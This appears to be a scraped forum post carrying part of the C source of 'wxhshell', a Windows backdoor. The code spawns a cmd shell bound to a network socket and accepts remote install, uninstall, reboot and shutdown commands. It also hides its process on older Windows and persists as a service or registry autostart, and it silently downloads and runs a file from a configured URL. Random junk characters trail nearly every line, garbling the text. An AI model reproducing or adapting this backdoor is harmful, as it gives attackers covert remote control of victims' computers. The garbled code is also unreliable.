  case '?': { ] FvN*@lG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? r=cLC  
    break; )R+@vh#Q<$  
  } W\o(f W  
  // 安装 eP$0TDZ  
  case 'i': { xXM`f0s@+]  
    if(Install()) _) 2fXG!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=[<gPE  
    else =9GL;z:R+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Np }O=>  
    break; qC40/1-m8K  
    } EX7cjQsml  
  // 卸载 i=@.u=:  
  case 'r': { B5aFt ;Vj  
    if(Uninstall()) 8'_>A5L/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Qz#;HI  
    else $ckX H,l_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 W> <m[O  
    break; 7\'vSHIL  
    } @;M( oFS9  
  // 显示 wxhshell 所在路径 9~bje^M  
  case 'p': { g= k}6"F~  
    char svExeFile[MAX_PATH]; i2/:' i  
    strcpy(svExeFile,"\n\r"); Zh]d&Xeq  
      strcat(svExeFile,ExeFile); Glcl7f"<^  
        send(wsh,svExeFile,strlen(svExeFile),0); &xMR{:  
    break; ={-\)j  
    } R3<>]/1p|P  
  // 重启 c 's=>-X  
  case 'b': { 7-.Y VM~R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?N<* ATC L  
    if(Boot(REBOOT)) wIz<Y{HA=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .a1WwI  
    else { ]d}Z2I'  
    closesocket(wsh); cHs@1R/-s  
    ExitThread(0); $R%xeih1fz  
    } [WnX'R R  
    break; <Vm+Lt9  
    } 2?58=i%b  
  // 关机 tzJdUZJ  
  case 'd': { Q\ TawRK8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /<vbv  
    if(Boot(SHUTDOWN)) 3:X3n\z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+||t  
    else { >xws  
    closesocket(wsh); nellN}jYsM  
    ExitThread(0); ByoSwQ  
    } }(z[ rZ  
    break; 6 uW?xB9  
    } ,J"6(nk  
  // 获取shell ;ajCnSmR  
  case 's': { '{p/F $  
    CmdShell(wsh); j1%o+#df  
    closesocket(wsh); d76k1-m\o  
    ExitThread(0); l9"0Wu@_x  
    break; CTQF+Oe8O  
  } [URo#  
  // 退出 hC?:XVt  
  case 'x': { $As;Tvw.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @ |v4B[/  
    CloseIt(wsh); u~7mH  
    break; xV[X#.3  
    } OF&{mJH"g'  
  // 离开 xQ9P'ru  
  case 'q': { M?Tb9c?`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T_|%n F-+  
    closesocket(wsh); '8K5=|!J  
    WSACleanup(); i,1=5@rw5  
    exit(1); 2W:R{dHE  
    break; 3 HOJCgit  
        } Gf( hN|X.  
  } z %{Z  
  } e`zx#v  
oa$-o/DhB  
  // 提示信息 {m~.'DU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \7rFfN3  
} (+ q#kKR  
  } >=BH$4Ce  
ggtGecKm  
  return; ?TA%P6Lw  
} :kz*.1  
_^;+_6&[  
// shell模块句柄 QPB@qx#@  
int CmdShell(SOCKET sock) 5[}3j1  
{ Osncl5PD)  
STARTUPINFO si; 9W88_rE'e}  
ZeroMemory(&si,sizeof(si)); )zz^RB\p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H6%QM}t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b9Jah  
PROCESS_INFORMATION ProcessInfo; ]Ir{9EE v  
char cmdline[]="cmd"; ZDuP|" ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5S`_q&  
  return 0; XG FjqZr`  
} oU`8\ n](  
<"F\&M`G  
// 自身启动模式 ?3 {&"  
int StartFromService(void) DKw%z8ft|  
{ C4wJSQl_I  
typedef struct )Be?axI  
{ d5h]yIz^  
  DWORD ExitStatus; BK`NPC$a  
  DWORD PebBaseAddress; @v{lH&K:;  
  DWORD AffinityMask; TP7'tb  
  DWORD BasePriority; q-kMqnQ  
  ULONG UniqueProcessId; Syv[ [Ek  
  ULONG InheritedFromUniqueProcessId; "~-H]9  
}   PROCESS_BASIC_INFORMATION; QP/%+[E.  
/orpQUHA  
PROCNTQSIP NtQueryInformationProcess; +c;/hM<IX.  
^*JpdmVhu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n${,r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -5;Kyio  
; ^+#  
  HANDLE             hProcess; 8>^(-ca_  
  PROCESS_BASIC_INFORMATION pbi; C><]o  
.,Q j3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aDEz |>q  
  if(NULL == hInst ) return 0; >SRUC  
W*?mc2;/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tj5G /H>   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JHQc)@E}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Uz1~AuNxb  
YDh6XD<Z  
  if (!NtQueryInformationProcess) return 0; }xhat,9  
5'iJN$7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mBW E^  
  if(!hProcess) return 0; oVi_X98R  
2y6@:VxSh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T.ZPpxY  
">pW:apl%  
  CloseHandle(hProcess); w&&uk[Gh/a  
*;^!FBT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .gY}}Q  
if(hProcess==NULL) return 0; 6x18g(KbP  
X^204K%:  
HMODULE hMod; C-25\  
char procName[255]; "mT95x\NA\  
unsigned long cbNeeded; "s[Y$!#  
;/tZsE{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qdepzo>E  
m ,B,dqT  
  CloseHandle(hProcess); iV+'p->/  
RSL%<  
if(strstr(procName,"services")) return 1; // 以服务启动 Jt-s6-2  
W?+U%bIZ9  
  return 0; // 注册表启动 ?t;>]Wo;  
} Xxl>,QUA  
)HZUCi/F]  
// 主模块 >R|*FYam  
int StartWxhshell(LPSTR lpCmdLine) /JP]5M)   
{ f1eY2UtWQ  
  SOCKET wsl; gkxEy5c[  
BOOL val=TRUE; s=)0y$  
  int port=0; 1|K>V;C  
  struct sockaddr_in door; #$\cRLPg  
;=rMIi  
  if(wscfg.ws_autoins) Install(); HbQvu@  
#Bo/1G=  
port=atoi(lpCmdLine); lo}[o0X  
m3|KIUP  
if(port<=0) port=wscfg.ws_port; %y@iA91K  
@\~qXz{6J  
  WSADATA data; !A R$JUnX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Mpbmfr  
C):RE<X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B_f0-nKP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m>po+7"b  
  door.sin_family = AF_INET; 9ICC2%j|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #3uBq(-Z  
  door.sin_port = htons(port); >z=_V|^$  
o;#{N~4[$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s3G\L<~mB  
closesocket(wsl); = mn jIp  
return 1; m~K[+P  
} HSt|Ua.c/h  
|=OO$z;q|  
  if(listen(wsl,2) == INVALID_SOCKET) { R=D\VIu,Z  
closesocket(wsl); 'WqSHb7  
return 1; Sr7+DCr  
} !*46@sb:  
  Wxhshell(wsl); DNgQ.lV  
  WSACleanup(); wp/u*g  
4fDo}~  
return 0; ' pE %'8R  
|pIA9/~Z  
}  L_+0[A  
Dl862$_Q  
// 以NT服务方式启动 nMU#g])y)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WY@x2bBi  
{ f;/t7=>d  
DWORD   status = 0; * *?mZtF  
  DWORD   specificError = 0xfffffff; (wJtEoB9^  
cz_4cMgxu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lYd#pNN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kndP?#> p1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nG#lrYZw  
  serviceStatus.dwWin32ExitCode     = 0; ?e |'I"  
  serviceStatus.dwServiceSpecificExitCode = 0; rT`D@ I  
  serviceStatus.dwCheckPoint       = 0; v}6YbY Tq  
  serviceStatus.dwWaitHint       = 0; #Id.MLHxA_  
1SBc:!2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qa![oMKc  
  if (hServiceStatusHandle==0) return; )k&pp^q\  
ujcS>XN,1  
status = GetLastError(); `92 D]^g  
  if (status!=NO_ERROR) ArkFC  
{ c%.f|/.k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;F&wGe  
    serviceStatus.dwCheckPoint       = 0; b("JgE`  
    serviceStatus.dwWaitHint       = 0; YY I  
    serviceStatus.dwWin32ExitCode     = status; /p,D01Ws}(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 )f=Z2U>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (PYUfiOf  
    return; LvpHR#K)F5  
  } T0_9:I`&  
wAHb 5>!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; syh0E= If_  
  serviceStatus.dwCheckPoint       = 0; H+zn:j@~L  
  serviceStatus.dwWaitHint       = 0; \Rn.ug  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AK<ZP?0  
} 4Uz:zB  
#e%.z+7I  
// 处理NT服务事件,比如:启动、停止 aMTY{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]P0DPea  
{ C# r_qn  
switch(fdwControl) *f8,R"]-g  
{ b* Ipg8n+  
case SERVICE_CONTROL_STOP: .<Z7 K @  
  serviceStatus.dwWin32ExitCode = 0; a73b/_zZ=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^&uWAQohL  
  serviceStatus.dwCheckPoint   = 0; 3w )S=4lB  
  serviceStatus.dwWaitHint     = 0; i:#R U^R  
  { ilK8V4k<T)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |PN-,f{-  
  } "sFdrXJ  
  return; Coq0Kzhsab  
case SERVICE_CONTROL_PAUSE: $2BRi@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~4}m'#!  
  break; e:[ Kp6J  
case SERVICE_CONTROL_CONTINUE: hk ./G'E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eEsEW<su  
  break; F dv&kK!  
case SERVICE_CONTROL_INTERROGATE: whKr3)  
  break; P7\(D`  
}; 5*buRYck0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oW]&]*>J  
} =Ak>2  
v85&s  
// 标准应用程序主函数 :&)RK~1m_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B^Ql[m&5+  
{ 62EJ# q[  
[ur/`   
// 获取操作系统版本 mC~W/KReA  
OsIsNt=GetOsVer(); c%~'[W04\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {yyg=AMz  
svpWABO  
  // 从命令行安装 ! # tRl  
  if(strpbrk(lpCmdLine,"iI")) Install(); ECkfFE`  
|0f\>X I  
  // 下载执行文件 qw87B!D  
if(wscfg.ws_downexe) { O8u"Y0$*w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2|}p&~G(  
  WinExec(wscfg.ws_filenam,SW_HIDE); \g4\a?i  
} &s/aJgJhp  
?5mVC]W?]  
if(!OsIsNt) { ^Hq}9OyS9  
// 如果时win9x,隐藏进程并且设置为注册表启动 kq%`9,XE  
HideProc(); 6}NvVolr  
StartWxhshell(lpCmdLine); W \f7fVU  
} d+T]EpQJ*  
else 4 d]  
  if(StartFromService()) 6%S>~L66  
  // 以服务方式启动 ^ioTd  
  StartServiceCtrlDispatcher(DispatchTable); uFdSD  
else \((>i7C  
  // 普通方式启动 ^J% w[FE  
  StartWxhshell(lpCmdLine); #UND'c(5  
<2cq 0*$  
return 0; HTqikw5X  
}
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只看该作者 1 发表于: 2006-10-10
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